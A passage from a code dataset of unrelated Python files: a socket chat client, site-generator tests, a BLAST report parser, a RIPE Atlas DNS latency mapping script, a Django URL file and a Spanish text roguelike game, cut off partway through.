\"+self.address+\":\"+str(self.port),\n \"Warning\",ORANGE)\n self.disconnect()\n self.sprint(\"Connecting to \"+address)\n #self.conn = socket.socket(socket.AF_INET,socket.sock_STREAM)\n self.conn = socket.socket()\n try:\n self.conn.connect((address,port))\n except (OSError,socket.gaierror) as e:\n self.sprint(\"Could not connect: \"+str(e),\"Error\",RED)\n self.clear_conn()\n return\n \n auth_code = self.auth()\n if auth_code == SUCCESS:\n self.address = address\n self.port = port\n self.connected = True\n self.sprint(\"Connected!\",\"Info\",GREEN)\n self.fetcher = Fetcher(self)\n self.fetcher.start()\n else:\n self.conn.close()\n self.clear_conn()\n self.sprint(\"Could not connect: \"+ERR[auth_code],\"Error\",RED)\n\n def auth(self):\n sollicitation = b'HELO '+bytes(\"Fatchat client V[\"+VERSION,\"utf-8\")+\\\n b\"] USER[\"+bytes(USER,'utf-8')+b']'\n self.conn.send(sollicitation)\n try:\n replying = select.select([self.conn],[],[],5)[0]\n except ConnectionResetError as e:\n return CONN_RESET\n \n if len(replying) == 0:\n return NO_REPLY\n else:\n try:\n reply = replying[0].recv(SIZE)\n except ConnectionResetError as e:\n return CONN_RESET\n if reply[:5] != b'SALT:':\n print(\"Incorrect reply from the server: \"+reply.decode())\n return INCORRECT_REPLY\n salt = reply[5:]\n self.encoder = Encoder(salt)\n return SUCCESS\n\n def send(self,msg):\n if self.connected:\n msg = self.encoder.encrypt(msg)\n try:\n self.conn.send(msg)\n except:\n self.sprint(\"Error while sending message, disconnecting!\")\n self.disconnect()\n else:\n self.sprint(\"Not connected!\",\"Warning\",ORANGE)\n\n def disconnect(self):\n if not self.connected:\n self.sprint(\"Not connected\",\"Warning\",ORANGE)\n return\n #self.send(b\"DISC\")\n if self.fetcher.loop == True:\n self.fetcher.stop()\n self.fetcher.join()\n self.conn.close()\n self.clear_conn()\n self.sprint(\"Disconnected!\",\"Info\",GREEN)\n\n\n \n","repo_name":"Dad0u/FatChat","sub_path":"client/network_handler.py","file_name":"network_handler.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17472293421","text":"from liara import site, nodes\nfrom collections import namedtuple\nimport pathlib\nimport pytest\n\nitem = namedtuple('item', ['metadata', 'name'])\n\n\ndef test_group_recursive():\n items = [\n item({'a': 'key_a_1', 'b': 'key_b_1', 'c': 'key_c_1'}, 1),\n item({'a': 'key_a_1', 'b': 'key_b_1', 'c': 'key_c_1'}, 2),\n item({'a': 'key_a_1', 'b': 'key_b_1', 'c': 'key_c_2'}, 3),\n item({'a': 'key_a_1', 'b': 'key_b_2', 'c': 'key_c_1'}, 4),\n item({'a': 'key_a_1', 'b': 'key_b_1', 'c': 'key_c_1'}, 5),\n item({'a': 'key_a_2', 'b': 'key_b_2', 'c': 'key_c_1'}, 6)\n ]\n\n groups = site._group_recursive(items, ['a', 'b', 'c'])\n assert len(groups) == 2\n assert 'key_a_1' in groups\n assert 'key_a_2' in groups\n\n group_1 = groups['key_a_1']\n assert 'key_b_1' in group_1\n assert 'key_b_2' in group_1\n\n group_1_1 = group_1['key_b_1']\n # c_1 and c_2\n assert len(group_1_1) == 2\n\n group_1_1_1 = group_1_1['key_c_1']\n # c_1, 1; c_1, 2; c_1, 5\n assert len(group_1_1_1) == 3\n\n\ndef test_group_splat():\n items = [\n item({'tags': ['a', 'b']}, 1),\n item({'tags': ['a', 'c']}, 2),\n item({'tags': ['a', 'd']}, 3),\n item({'tags': ['e', 'b']}, 4),\n item({'tags': ['f', 'b']}, 5),\n item({'tags': ['g', 'b']}, 6)\n ]\n\n groups = site._group_recursive(items, ['*tags'])\n # 6 tags\n assert len(groups) == 7\n assert len(groups['a']) == 3\n assert items[0] in groups['a']\n assert items[1] in groups['a']\n assert items[2] in groups['a']\n\n\nclass MockDocumentNode(nodes.DocumentNode):\n def __init__(self, path, metadata):\n super().__init__(path, pathlib.PurePosixPath(path))\n\n self.metadata = metadata\n\n\nclass MockIndexNode(nodes.IndexNode):\n def __init__(self, path):\n super().__init__(pathlib.PurePosixPath(path))\n\n\ndef test_content_filters():\n s = site.Site()\n cff = site.ContentFilterFactory()\n\n status_filter = cff.create_filter('status')\n s.register_content_filter(status_filter)\n\n prvn = MockDocumentNode('/private', {'status': 'private'})\n pubn = MockDocumentNode('/public', {})\n\n s.add_document(pubn)\n s.add_document(prvn)\n\n assert len(s.nodes) == 1\n assert pathlib.PurePosixPath('/public') in s.urls\n\n\nclass MockObject:\n def __init__(self, metadata):\n self.metadata = metadata\n\n\nclass NestedMockObject:\n def __init__(self, nested):\n self.nested = nested\n\n\ndef test_metadata_accessor():\n n = NestedMockObject({'bar': 23})\n t = MockObject({'o': n})\n\n c = site._create_metadata_accessor('o.nested.bar')\n assert c(t) == 23\n\n\ndef test_collection():\n n1 = MockDocumentNode('/a', {'title': 'A'})\n n2 = MockDocumentNode('/b', {'title': 'B'})\n n3 = MockDocumentNode('/c', {'title': 'C'})\n\n root = site.Site()\n root.add_index(MockIndexNode('/'))\n root.add_document(n1)\n root.add_document(n2)\n root.add_document(n3)\n root.create_links()\n\n collection = site.Collection(root, 'test', '/*')\n nodes = collection.nodes\n\n assert len(nodes) == 3\n\n\ndef test_collection_group_by_fails_on_missing_metadata():\n n1 = MockDocumentNode('/a', {'title': 'A'})\n n2 = MockDocumentNode('/b', {'title': 'B'})\n n3 = MockDocumentNode('/c', {})\n\n root = site.Site()\n root.add_index(MockIndexNode('/'))\n root.add_document(n1)\n root.add_document(n2)\n root.add_document(n3)\n root.create_links()\n\n with pytest.raises(Exception):\n _ = site.Collection(root, 'test', '/*', order_by=['title'])\n\n\ndef test_collection_exclude_without_removes_items():\n n1 = MockDocumentNode('/a', {'title': 'A'})\n n2 = MockDocumentNode('/b', {'title': 'B'})\n n3 = MockDocumentNode('/c', {})\n\n root = site.Site()\n root.add_index(MockIndexNode('/'))\n root.add_document(n1)\n root.add_document(n2)\n root.add_document(n3)\n root.create_links()\n\n collection = site.Collection(root, 'test', '/*',\n exclude_without=['title'], order_by=['title'])\n nodes = collection.nodes\n\n assert len(nodes) == 2\n\n\ndef test_index_group_by_fails_on_missing_metadata():\n n1 = MockDocumentNode('/a', {'title': 'A'})\n n2 = MockDocumentNode('/b', {'title': 'B'})\n n3 = MockDocumentNode('/c', {})\n\n root = site.Site()\n root.add_index(MockIndexNode('/'))\n root.add_document(n1)\n root.add_document(n2)\n root.add_document(n3)\n root.create_links()\n\n collection = site.Collection(root, 'test', '/*')\n with pytest.raises(Exception):\n _ = site.Index(collection, '/index/%1', group_by=['title'])\n\n\ndef test_index_exclude_without_removes_items():\n n1 = MockDocumentNode('/a', {'year': 2022, 'title': 'A'})\n n2 = MockDocumentNode('/b', {'year': 2022, 'title': 'B'})\n n3 = MockDocumentNode('/c', {'year': 2023})\n\n root = site.Site()\n root.add_index(MockIndexNode('/'))\n root.add_document(n1)\n root.add_document(n2)\n root.add_document(n3)\n root.create_links()\n\n collection = site.Collection(root, 'test', '/*')\n\n index = site.Index(collection, '/index/%1', group_by=['title'],\n exclude_without=['title'],\n create_top_level_index=True)\n index.create_nodes(root)\n\n index_node = root.get_node('/index')\n assert len(index_node.references) == 2\n\n\ndef test_index_exclude_without_key_matching_removes_items():\n n1 = MockDocumentNode('/a', {'year': 2022, 'title': 'A'})\n n2 = MockDocumentNode('/b', {'year': 2022, 'title': 'B'})\n n3 = MockDocumentNode('/c', {'year': 2023, 'title': 'C'})\n\n root = site.Site()\n root.add_index(MockIndexNode('/'))\n root.add_document(n1)\n root.add_document(n2)\n root.add_document(n3)\n root.create_links()\n\n collection = site.Collection(root, 'test', '/*')\n\n index = site.Index(collection, '/index/%1', group_by=['title'],\n exclude_without=[('year', 2022,)],\n create_top_level_index=True)\n index.create_nodes(root)\n\n index_node = root.get_node('/index')\n assert len(index_node.references) == 2\n","repo_name":"Anteru/liara","sub_path":"test/test_site.py","file_name":"test_site.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"22801134843","text":"#!/usr/bin/env python3\n\n# Name: process_blast_report_exp8.py\n# Description: Takes in the output file from BLAST and summarizes which \n# contigs appear to have significant contamination\n# Date: August 27th, 2022\n\nimport os\nimport sys\nimport argparse\nimport random\n\ndef main(args):\n \"\"\"\n Looks through the BLAST output file and determines which \n contigs have significant alignments, and summarizes them\n in an output file along with average e-score.\n\n Output Format: https://www.metagenomics.wiki/tools/blast/blastn-output-format-6\n \"\"\"\n with open(args.input_file, \"r\") as input_fd:\n\n # Collect all the e-values for suspicious contigs\n suspicious_contigs = {}\n for line in input_fd:\n data_items = line.split()\n if float(data_items[10]) < 0.001:\n if data_items[0] not in suspicious_contigs:\n suspicious_contigs[data_items[0]] = [float(data_items[10])]\n else:\n suspicious_contigs[data_items[0]].append(float(data_items[10]))\n \n # Summarize each contig with average e-value\n for key in suspicious_contigs:\n avg = sum(suspicious_contigs[key])/len(suspicious_contigs[key])\n suspicious_contigs[key] = [avg]\n sorted_dict = dict(sorted(suspicious_contigs.items()))\n \n # Write out the contigs with suspicious e-values\n with open(args.output_dir + \"alignment_report.txt\", \"w\") as out_fd:\n out_fd.write(\"{:30}{:20}\\n\".format(\"name:\", \"average e-score:\"))\n for key in sorted_dict:\n out_fd.write(\"{:30}{:20}\\n\".format(key, sorted_dict[key][0]))\n\ndef parse_arguments():\n \"\"\" Parse the command-line arguments \"\"\"\n parser = argparse.ArgumentParser(description=\"Take in a BLAST output file, and process it.\")\n parser.add_argument(\"-i\", dest=\"input_file\", help=\"path to BLAST output file\", required=True)\n parser.add_argument(\"-o\", dest=\"output_dir\", help=\"path to output directory\", required=True)\n args = parser.parse_args()\n return args\n\ndef check_arguments(args):\n \"\"\" Verify the correctness of the arguments \"\"\"\n if not os.path.isfile(args.input_file):\n print(\"Error: the input file is not valid.\")\n exit(1)\n if not os.path.isdir(args.output_dir):\n print(\"Error: the output directory is not valid\")\n exit(1)\n else:\n if args.output_dir[-1] != \"/\":\n args.output_dir += \"/\"\n \nif __name__ == \"__main__\":\n args = parse_arguments()\n check_arguments(args)\n main(args)","repo_name":"oma219/spumoni-experiments","sub_path":"src/process_blast_report_exp8.py","file_name":"process_blast_report_exp8.py","file_ext":"py","file_size_in_byte":2587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13802261698","text":"\"\"\"\nenumerate(iterable, start=0)\n\nenumera los elementos, retorna una tupla con un indice para cada elemento \nel parametro start es opcional\n\n\n\n\"\"\"\n\nnombres=[\"Paco\",\"Emilio\",\"Javier\",\"Ana\"]\nnombres_enumerados = enumerate(nombres)\nprint(list(nombres_enumerados))","repo_name":"jjduquec/Advanced-Python","sub_path":"list_comprehension/enumerate.py","file_name":"enumerate.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22267610994","text":"import joblib\nimport numpy as np\nfrom keras.utils import pad_sequences\n\ntokenizer = joblib.load('./models/tokenizer_gen.joblib')\nmodel = joblib.load('./models/model_gerador.joblib')\n\nreverse_word_map = dict(map(reversed, tokenizer.word_index.items()))\n\ndef gen(seq,max_len = 10):\n tokenized_sent = tokenizer.texts_to_sequences([seq])\n max_len = max_len+len(tokenized_sent[0])\n\n while len(tokenized_sent[0]) < max_len:\n padded_sentence = pad_sequences(tokenized_sent[-19:],maxlen=19)\n op = model.predict(np.asarray(padded_sentence).reshape(1,-1))\n tokenized_sent[0].append(op.argmax()+1)\n \n return \" \".join(map(lambda x : reverse_word_map[x],tokenized_sent[0]))","repo_name":"RogerPina2/nlpBot","sub_path":"modules/gerador.py","file_name":"gerador.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6926035343","text":"import sys\nsys.path.append('../')\nimport requests\nfrom chaos2countries.norasversion import timestamped_url, json_parser, read_probe_data, read_ripe_probe_list, \\\n read_iso_countries_list\nfrom chaos2countries.noratestar import rendermain\nimport numpy as np\nfrom datetime import datetime\nimport os.path\nimport os\nimport webbrowser\n\n\ndef main():\n statsCSV_list = []\n with open(sys.argv[1], 'r') as file:\n list_argument = file.readlines()\n print('Initializing render on map for .se DNS')\n\n # goes through every measurementID as sys.argv[1]\n for line in list_argument:\n sys.argv[1] = line\n\n # creating timestamp for which measurements are wanted\n url = timestamped_url(sys.argv[1])\n sys.argv[1] = url\n\n tempUrl = sys.argv[1]\n sp = (tempUrl.split(\"?\")[1]).split(\"&\")\n start = sp[1].replace(\"start=\", \"\")\n stop = sp[2].replace(\"stop=\", \"\")\n\n measurementID = sys.argv[1].split('/')[6]\n\n htmlfile = start + '-' + stop + '.html'\n list_of_files = os.listdir('/Users/nora.odelius/nextcloud/git/atlas.ripe.dns/tests')\n if os.path.exists(htmlfile):\n webbrowser.open('file://' + os.path.realpath(htmlfile))\n print('html already exists')\n print('Opening file in webbrowser\\n')\n\n else:\n substring_html = '.html'\n for item in list_of_files:\n if substring_html in item and measurementID in item:\n os.remove(item)\n\n print('Html file did not exist')\n\n # convert start and stop to date\n print(\"\\nMeasurement starts: \" + str(datetime.utcfromtimestamp(float(start)).strftime('%Y-%m-%d %H:%M:%S')))\n print(\"Measurement end: \" + str(datetime.utcfromtimestamp(float(stop)).strftime('%Y-%m-%d %H:%M:%S')))\n print(\"Measurement duration: \" + str(int(stop) - int(start)) + \" seconds, or \" +\n str((int(stop) - int(start)) / 60) + \" minutes\\n\")\n\n date = str(datetime.utcfromtimestamp(float(start)).strftime('%Y%m%d'))\n probeFile = date + \"-probemetadata.json\"\n\n\n file_gz = date + '-probemetadata.json.gz'\n if os.path.exists(file_gz):\n print('Probemetadata already exists')\n\n\n else:\n print('Probemetadata did not exist\\n')\n print(\"Reading probe metadata info for Ripe's FTP archive:\")\n substring = 'probemetadata.json.gz'\n # removing already rendered statsCSV files form tests/\n for item in list_of_files:\n if substring in item:\n os.remove(item)\n geo_data = read_iso_countries_list()\n read_ripe_probe_list(date, probeFile, geo_data)\n\n url = sys.argv[1]\n atlas_results = measurementID + \"-\" + date + \"-\" + start + \"-\" + stop + \"-atlas-results.csv\"\n statsCSV = measurementID + \"-\" + date + \"-\" + start + \"-\" + stop + \"-stats-country.csv\"\n if os.path.exists(statsCSV):\n print('statsCSV file already exists')\n\n if os.path.exists(atlas_results):\n print('Atlas_results file already exists')\n print('Using files to render map')\n\n else:\n print('Error: if a statsCSV file exists an atlas_results file should to! Check under tests/ folder')\n\n else:\n print('Wanted files did not exist')\n print('If WARNING occurs some measurements were empty. Do not panic')\n print(\"\\nDownloading Ripe Atlas CHAOS Measurements and parsing it\")\n\n substring_atlas = '-atlas-results.csv'\n substring_stats = '-stats-country.csv'\n\n # removing already rendered atlas_results files form tests/, not up-to-date measurements\n for item in list_of_files:\n if substring_stats in item and measurementID in item:\n os.remove(item)\n\n if substring_atlas in item and measurementID in item:\n os.remove(item)\n\n\n r = requests.get(url)\n measurements = json_parser(r.content.decode(\"utf-8\"))\n probeDict = read_probe_data(probeFile + \".gz\")\n\n csvFileFromAtlas = open(atlas_results, 'w')\n csvFileFromAtlas.write(\n \"ip_src,ip_dst,proto,hostnameBind,rtt,probeID,rcode,atlas_firmware,country,continent,subregion,probe_version\\n\")\n\n probes_not_found = 0\n for k in measurements:\n # print(\"w\")\n probeID = k.split(\",\")[4]\n\n trailler = \"NA,NA\"\n try:\n trailler = probeDict[probeID.strip()]\n except:\n # if trailler is empty the measurement had no data and the probe can't be found\n probes_not_found += 1\n csvFileFromAtlas.write(k + \",\" + trailler + \"\\n\")\n print('Probes not found because of empty measurements:', probes_not_found)\n\n csvFileFromAtlas.close()\n # list with measurements + trailler\n\n print(\"Generating statistics per country from ONLY FOR RCODE=0 (valid queries)\")\n ccDict = dict()\n\n with open(atlas_results, 'r') as f:\n lines = f.readlines()\n for l in lines:\n\n sp = l.split(\",\")\n # if matches rcode and if the column value matches\n if len(sp) == 10:\n # could change if i want to\n # filtering rcode 0\n # varför måste rcode vara 0, vad är ens rcode\n if sp[5].strip() == \"0\":\n tempCountry = sp[7].strip()\n tempRTT = float(sp[3].strip())\n\n if tempCountry not in ccDict:\n tempArray = []\n tempArray.append(tempRTT)\n ccDict[tempCountry] = tempArray\n\n else:\n tempArray = ccDict[tempCountry]\n tempArray.append(tempRTT)\n ccDict[tempCountry] = tempArray\n\n jsonDict = dict()\n print(\"Writing statistics per country in csv format into: \" + statsCSV)\n with open(statsCSV, \"w\") as f:\n\n f.write(\n \"country, nMesurements,meanRTT,percentile25RTT,medianRTT,percentile75RTT,percentile90RTT,maxRTT\\n\")\n for k, values in ccDict.items():\n country = k\n f.write(\n country\n + \",\" +\n str(len(values))\n + \",\" +\n str(np.mean(values))\n + \",\" + str(np.percentile(values, 25))\n + \",\" + str(np.percentile(values, 50))\n + \",\" + str(np.percentile(values, 75))\n + \",\" + str(np.percentile(values, 90))\n + \",\" + str(np.max(values)) + \"\\n\")\n\n tempDict = dict()\n\n tempDict['nMeasurements'] = len(values)\n tempDict['meanRTT'] = np.mean(values)\n tempDict['percentile25RTT'] = np.percentile(values, 25)\n tempDict['medianRTT'] = np.percentile(values, 50)\n tempDict['percentile75RTT'] = np.percentile(values, 75)\n tempDict['percentile90RTT'] = np.percentile(values, 95)\n tempDict['maxRTT'] = np.max(values)\n\n jsonDict[country] = tempDict\n print('Rendering map with statsCSV\\n')\n statsCSV_list.append(statsCSV)\n rendermain(statsCSV_list)\n\n\nif __name__ == \"__main__\":\n\n if len(sys.argv) != 2:\n print(\"Wrong number of parameters\\n\")\n print(str(len(sys.argv)))\n print(\"Usage: python run.py $ATLAS_JSON_URL\")\n print(\n \"example: python3 ../chaos2countries/run.py 'https://atlas.ripe.net/api/v2/measurements/10310/results/?start=1544572800&stop=1544573100&format=json'\")\n else:\n main()\n\n print('END')\n\n","repo_name":"NoraOdel/atlas.ripe.dns","sub_path":"chaos2countries/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":9203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73204942508","text":"DEFAULT_SERVER_JAR = \"https://api.papermc.io/v2/projects/paper/versions/1.19.3\\\n/builds/448/downloads/paper-1.19.3-448.jar\"\nDEFAULT_GAME_VERSION = \"1.19.3\"\nCURSE_API = \"https://api.curseforge.com\"\n\n\nclass CmcPackage:\n\n name: str\n game_version: str\n server_jar: str\n curse_plugins: list[str]\n url_plugins: dict[str, str]\n\n def __init__(\n self,\n name: str,\n game_version: str = DEFAULT_GAME_VERSION,\n api: str = CURSE_API,\n curse_plugins: list[str] = None,\n url_plugins: dict[str, str] = None,\n server_jar: str = DEFAULT_SERVER_JAR,\n ) -> None:\n\n self.name = name\n self.game_version = game_version\n self.api = api\n self.server_jar = server_jar\n\n if curse_plugins is None:\n self.curse_plugins = []\n else:\n self.curse_plugins = curse_plugins\n\n if url_plugins is None:\n self.url_plugins = {}\n else:\n self.url_plugins = url_plugins\n","repo_name":"BasDerilov/CMC","sub_path":"cmc/modules/initializer/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"34072455421","text":"from django.urls import path\nfrom shop.views import shop_view, order_view, books_view\n\n\napp_name = 'shop'\n\nurlpatterns = [\n path('', view=shop_view, name='shop'),\n path('order/', view=order_view, name='order'),\n path('order/books/', view=books_view, name='books'),\n]\n\n","repo_name":"duluman/bis","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18884946828","text":"import os\nimport random\nimport pickle\nimport time\nimport heroes\nimport monster\n\nclass Nivel():\n def __init__(self, piso):\n self.piso=piso\n self.i=0\n self.cuartos=[]\n #Codigo de cuartos M=Monstruo, T=Tesoro, F=Fogata, A=Escaleras arriba, B=Escaleras aBajo\n if self.piso == 1:\n self.pool=['M', 'M', 'M', 'M', 'M', 'M', 'M', 'T', 'T', 'T', 'T', 'T', 'F', 'F']\n random.shuffle(self.pool)\n while self.i<7:\n self.cuartos.append(self.pool[self.i])\n self.i=self.i+1\n self.cuartos.append('A')\n self.cuartos.append('B')\n self.cuartos.append('F')\n random.shuffle(self.cuartos)\n random.shuffle(self.cuartos)\n self.mascara=['?','?','?','?','?','?','?','?','?','?']\n if self.piso == 2:\n self.pool=['M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'T', 'T', 'T', 'T', 'T', 'T', 'T', 'F', 'F']\n random.shuffle(self.pool)\n while self.i<12:\n self.cuartos.append(self.pool[self.i])\n self.i=self.i+1\n self.cuartos.append('A')\n self.cuartos.append('B')\n self.cuartos.append('F')\n random.shuffle(self.cuartos)\n random.shuffle(self.cuartos)\n self.mascara=['?','?','?','?','?','?','?','?','?','?','?','?','?','?','?']\n if self.piso == 3:\n self.pool=['M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'M', 'T', 'T', 'T', 'T', 'T', 'T', 'T', 'T', 'T', 'T', 'F', 'F', 'F', 'F', 'F']\n random.shuffle(self.pool)\n while self.i<18:\n self.cuartos.append(self.pool[self.i])\n self.i=self.i+1\n self.cuartos.append('A')\n self.cuartos.append('B')\n random.shuffle(self.cuartos)\n random.shuffle(self.cuartos)\n self.mascara=['?','?','?','?','?','?','?','?','?','?','?','?','?','?','?','?','?','?','?','?']\n\n\ndef menu():\n print(\"~~~~~~~~~~~~~~Bienvenido a \\x1b[1;31;45mDEMENTIA\\x1b[m~~~~~~~~~~~~~~\\n\")\n print(\"1] Nuevo Juego\\n2] Cargar Juego\\n3] Tutorial\\n4] Salir\")\n opc=input(\"\\nTeclea el numero de opción que desees, y pulsa Enter: \")\n if opc == \"1\":\n return nuevo()\n elif opc == \"2\":\n return \"load\"\n elif opc == \"3\":\n tutorial()\n\ndef nuevo():\n os.system(\"clear\")\n print(\"1]Bárbaro:\")\n print(\"Fuerza bruta, entre más lastimado esté, más daño hace.\")\n print(\"Habilidades: Hemorragia, Berserker\")\n print(\"Inicia con 3 Pociones\")\n print(\"\\n\\x1b[1mAtributos:\\x1b[m\\n\\x1b[1;31mFuerza: 3\\n\\x1b[mAgilidad: 1\\nSabiduria: 2\")\n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n print(\"2]Arquera:\")\n print(\"Agilidad cegadora, probabilidad de hacer daño crítico.\")\n print(\"Habilidades: Flecha Helada, Apuntar y Disparar\")\n print(\"Inicia con 2 Pociones\")\n print(\"\\n\\x1b[1mAtributos:\\x1b[m\\nFuerza: 2\\n\\x1b[1;32mAgilidad: 3\\n\\x1b[mSabiduria: 1\")\n print(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n print(\"3]Brujo:\")\n print(\"Sabiduría oscura, cada ataque absorbe HP enemiga, puede sobrepasar por 5pts su HP máxima.\")\n print(\"Habilidades: Ritual de Sangre, Traspasar Alma\")\n print(\"Inicia con 1 Pocion\")\n print(\"\\n\\x1b[1mAtributos:\\x1b[m\\nFuerza: 1\\nAgilidad: 2\\n\\x1b[1;34mSabiduria: 3\\x1b[m\")\n opc = input(\"\\nTeclea el número de opción que desees, y pulsa Enter: \")\n if opc == \"1\":\n return \"barb\"\n elif opc == \"2\":\n return \"arqu\"\n elif opc == \"3\":\n return \"bruj\"\n\n\ndef loadPlayer():\n f2 = open ('archivo1.dem', 'rb')\n player = pickle.load(f2)\n f2.close()\n return player\ndef loadMap(opc):\n if opc == 1:\n f3 = open ('archivo2.dem', 'rb')\n map = pickle.load(f3)\n f3.close()\n elif opc == 2:\n f3 = open ('archivo3.dem', 'rb')\n map = pickle.load(f3)\n f3.close()\n elif opc == 3:\n f3 = open ('archivo4.dem', 'rb')\n map = pickle.load(f3)\n f3.close()\n return map\n\n\ndef tutorial():\n os.system(\"clear\")\n print(\"DEMENTIA es un juego tipo roguelike, lo tienes que pasar sin morir, y cada nivel es generado aleatoriamente.\\n\")\n print(\"El juego se guarda automáticamente cada que entras a un cuarto, por lo que no debes preocuparte por cerrar el juego.\")\n print(\"La muerte aquí es \\x1b[1;31;45mPERMANENTE\\x1b[m, por lo que tu juego guardado se borrará al morir.\")\n print(\"Todos tienen tres atributos; Fuerza, Agilidad y Sabiduría. Y cada héroe/enemigo tiene un atributo principal, que es con lo que atacará normalmente.\\n\")\n print(\"Fuerza; Aumenta la cantidad de HP máxima que puedes tener. (5HP/pt)\")\n print(\"Agilidad; Aumenta la probabilidad de esquivar los ataques enemigos. (5%/pt)\")\n print(\"Sabiduría; Aumenta la probabilidad de resistir un golpe fatal. (8%/pt)\")\n print(\"También existe la \\x1b[1;31;45mDEMENTIA\\x1b[m, que aumentará poco a poco mientras avanzas por los cuartos. Mientras más suba, más probabilidades tienes de fallar\")\n print(\"un ataque, pero también aumentará tu daño al atacar. El problema es que al llegar a 100, perderás completamente la cordura y el juego terminará\")\n\ndef save(player, nivel1, nivel2, nivel3):\n #datos = [player.fuerza, player.agilidad, player.sabiduria, player.clase]\n f = open('archivo1.dem', 'wb')\n archivo1= pickle.dump(player, f)\n f.close()\n f = open('archivo2.dem', 'wb')\n archivo2= pickle.dump(nivel1, f)\n f.close()\n f = open('archivo3.dem', 'wb')\n archivo3= pickle.dump(nivel2, f)\n f.close()\n f = open('archivo4.dem', 'wb')\n archivo4= pickle.dump(nivel3, f)\n f.close()\n\ndef showMap(player, nivelActual, nivel1, nivel2, nivel3):\n player.dementia+=nivelActual.piso\n if player.dementia>=100:\n muerte(player)\n os.system(\"clear\")\n save(player, nivel1, nivel2, nivel3)\n nivelActual.mascara[player.cuarto]=nivelActual.cuartos[player.cuarto]\n print(nivelActual.mascara)\n print(\"\\nTe encuentras en el CUARTO \"+str(player.cuarto+1)+\" del PISO \"+str(player.piso)+\", el cual es un: \"+str(nivelActual.cuartos[player.cuarto]))\n print(\"\\nEres un \"+player.nombre+\", nivel \"+str(player.nivel)+\"\\nExp: \"+str(player.exp)+\"/\"+str(player.nextLevel))\n print(\"\\x1b[1;32mHP Propia: \"+str(player.vida)+\"/\"+str(player.vidaMax))\n print(\"\\n\\x1b[1;31;47mFuerza:\"+str(player.fuerza)+\" (\"+str(player.vidaMax)+\"HP Máxima)\")\n print(\"\\x1b[1;32;47mAgilidad:\"+str(player.agilidad)+\" (\"+str(player.esquiva)+\"% Esquivar Ataque)\")\n print(\"\\x1b[1;34;47mSabiduría:\"+str(player.sabiduria)+\" (\"+str(player.revivir)+\"% Sobrevivir Golpe Fatal)\\x1b[m\")\n esquivaDementia=int(player.dementia/10)*5\n dmgDementia=int(player.dementia/10)\n print(\"\\x1b[1;31;45mDementia: \"+str(player.dementia)+\"/100 (+\"+str(dmgDementia)+\"pts daño extra/+\"+str(esquivaDementia)+\"% fallar ataque.)\\x1b[m\")\n print(\"\\nLeyenda:\\nA: Escalera Hacia Arriba\\nB: Escalera Hacia Abajo\\nM: Probabilidad de Monstruo\\nT: Tesoros\\nF: Fogatas de Recuperación\\nX: Fogatas Apagadas/Tesoros Saqueados\\nV: Cuarto Vacío\")\n opc=input(\"Hacia qué lado quieres moverte? [A]Izquierda o [D]Derecha: \")\n if opc==\"A\" or opc==\"a\":\n if player.cuarto==0:\n showMap(player, nivelActual, nivel1, nivel2, nivel3)\n else:\n player.cuarto=player.cuarto-1\n elif opc==\"D\" or opc==\"d\":\n if (nivelActual.piso==1 and player.cuarto!=9) or (nivelActual.piso==2 and player.cuarto!=14) or (nivelActual.piso==3 and player.cuarto!=19):\n player.cuarto=player.cuarto+1\n else:\n showMap(player, nivelActual, nivel1, nivel2, nivel3)\n if nivelActual.cuartos[player.cuarto]==\"M\":\n nivelActual.cuartos[player.cuarto]=\"V\"\n enemy=getEnemigo(nivelActual)\n print(enemy.nombre)\n combate(player, enemy, nivelActual, nivel1, nivel2, nivel3)\n elif nivelActual.cuartos[player.cuarto]==\"T\":\n print(\"Estás frente a un Tesoro\")\n elif nivelActual.cuartos[player.cuarto]==\"F\":\n print(\"Estás frente a una Fogata\")\n descansar=input(\"Deseas recuperar tus fuerzas (HP: Al máximo, Hechizo 1: +2 cargas, Pociones: +1 y Dementia: -30)? Esto repoblará los cuartos de enemigos y dejará inútil esta fogata, [S]í/[N]o: \")\n if descansar==\"S\" or descansar==\"s\":\n player.recuperar()\n i=0\n while i < len(nivelActual.cuartos):\n if nivelActual.cuartos[i]==\"V\":\n nivelActual.cuartos[i]=\"M\"\n nivelActual.mascara[i]=nivelActual.cuartos[i]\n i+=1\n nivelActual.cuartos[player.cuarto] = \"X\"\n print(nivelActual.cuartos)\n input(\"Esperando...\")\n elif nivelActual.cuartos[player.cuarto]==\"A\":\n print(\"Estás frente a unas Escaleras Hacia Arriba\")\n escalera=input(\"Deseas subir un piso? [S]í/[N]o: \")\n if escalera==\"s\" or escalera==\"S\":\n if player.piso==1:\n print(\"La salida está bloqueada...\")\n elif player.piso==2:\n player.piso=1\n player.cuarto=nivel1.cuartos.index('B')\n showMap(player, nivel2, nivel1, nivel2, nivel3)\n elif player.piso==3:\n player.piso=2\n player.cuarto=nivel2.cuartos.index('B')\n showMap(player, nivel3, nivel1, nivel2, nivel3)\n elif nivelActual.cuartos[player.cuarto]==\"B\":\n print(\"Estás frente a unas Escaleras Hacia Abajo\")\n escalera=input(\"Deseas bajar un 